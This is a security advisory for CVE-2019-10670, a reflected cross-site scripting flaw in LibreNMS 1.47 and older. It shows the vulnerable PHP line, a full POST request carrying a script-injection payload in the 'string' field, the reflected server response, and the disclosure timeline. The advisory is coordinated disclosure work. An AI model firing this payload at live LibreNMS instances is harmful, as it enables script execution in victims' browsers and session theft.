LibreNMS Multiple Reflected Cross Site Scripting Vulnerability

15 July 2019

 

CVE   

 

CVE-2019-10670

 

CVSS SCORE

 

6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

 

XID

 

XL-19-021

 

AFFECTED VENDORS

 

LibreNMS (www.librenms.org)

 

CREDIT

 

Eldar Marcussen - xen1thLabs - Software Labs

 

VULNERABILITY SUMMARY       

 

 

LibreNMS suffers from several Cross site scripting (XSS) vulnerabilities. An attacker can use this to execute JavaScript in the context of the victim’s browser.

 

TECHNICAL DETAILS

 

     

 

Many of the scripts in LibreNMS relies on the function “mysqli_escape_real_string” for filtering data. However, this is particularly ineffective when returning user supplied input in a HTML or JavaScript context, resulting in unsafe data being injected into these contexts resulting in attacker controlled JavaScript executing in the browser.

 

PROOF OF CONCEPT  

 

html/pages/inventory.inc.php line:33

 

 

"<input type=\"text\" name=\"string\" id=\"string\"

value=\"<?php echo $_POST['string']; ?>\" placeholder=\"Description\"

class=\"form-control input-sm\" />"+

 

Figure 1 – User supplied input used in HTML context.

 

POST request:

 

POST /pages/inventory.inc.php HTTP/1.1

Host: 172.16.230.174

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: PHPSESSID=ierg32mbjb2i5n7ajcbtrr1j7f; XSRF-TOKEN=eyJpdiI6ImxuUjJCSFA5XC9LNTFmdjFqOHZHd3JBPT0iLCJ2YWx1ZSI6IjhNZExtNFZzdkNXZEFIXC 93dGdLV011NzRRTjRUeXA1NnZ6b3Ezdnp1RHZCU1YyempoaHpjRjg2K2NMSnd0ZVNrdXZzNkxoc3lmaj Q0eTc2QVpPR2piQT09IiwibWFjIjoiM2UyMWJiMmE3NzM5N2JmY2IyNGJlNTUwOTYwODNiMzA5YjY xZGM5YzQ2ZTdmNGZkYzg1M2EzOGVmMTk1NGFhOSJ9; librenms_session=eyJpdiI6Ikw1alBJemNSUnFsNXphN1M5a1dVMVE9PSIsInZhbHVlIjoiZ3djN0RmdVdl XC9FYmg0OWdva2psTkhLOStmTG5SR29HWEp5aUh1S1B1alIrN2lYZlNLaGJ1QjdQaDF6Ujd2T2lEYWs0S HhCNit6d0NZdWZxZkljOXp3PT0iLCJtYWMiOiIwNDZlNWRlZmI2OGEzMGY4NjllZTMwZGM4YTA1MTU 0MjYyYmE0NWVlOTgwNzFjYWI4ZDQ5M2MzZmUzYTJhY2I2In0%3D

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 96

 

device=2222&part=3333&device_string=4444&string=5"</script><script>alert(1)</script>&serial=6666ac

 

 

Figure 2 – POST request to trigger Cross site scripting

Server reponse: 

 

 

 

HTTP/1.1 500 Internal Server Error

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 28 Mar 2019 11:00:58 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Content-Length: 1460

 

 

<div class="panel panel-default panel-condensed">

    <div class="panel-heading">

        <strong>Inventory</strong>

    </div>

    <table id="inventory" class="table table-hover table-condensed table-striped">

        <thead>

            <tr>

                <th data-column-id="hostname" data-order="asc">Hostname</th>

                <th data-column-id="description">Description</th>

                <th data-column-id="name">Name</th>

                <th data-column-id="model">Part No</th>

                <th data-column-id="serial">Serial No</th>

            </tr>

        </thead>

    </table>

</div>

 

<script>

 

var grid = $("#inventory").bootgrid({

    ajax: true,

    rowCount: [50, 100, 250, -1],

    templates: {

        header: "<div id=\"{{ctx.id}}\" class=\"{{css.header}}\"><div class=\"row\">"+

                "<div class=\"col-sm-9 actionBar\"><span class=\"pull-left\"><form method=\"post\" action=\"\" class=\"form-inline\" role=\"form\">"+

                "<div class=\"form-group\">"+

                "<input type=\"text\" name=\"string\" id=\"string\" value=\"5"</script><script>alert(1)</script>\" placeholder=\"Description\" class=\"form-control input-sm\" />"+

                "</div>"+

                "<div class=\"form-group\">"+

                "<strong>&nbsp;Part No&nbsp;</strong>"+

                "<select name=\"part\" id=\"part\" class=\"form-control input-sm\">"+

                "<option value=\"\">All Parts</option>"+

 

 

Figure 3 – User supplied input reflected in HTML context.

 

AFFECTED SYSTEMS  

  

 

LibreNMS 1.47 and older

 

SOLUTION  

 

Upgrade to the latest version of LibreNMS

 

DISCLOSURE TIMELINE 

 

 

 

26/03/2019 - Contacted LibreNMS developer requesting disclosure coordination

28/03/2019 - Provided vulnerability details

16/04/2019 – Version 1.50.1 released which resolves this issue

15/07/2019 – xen1thLabs public disclosure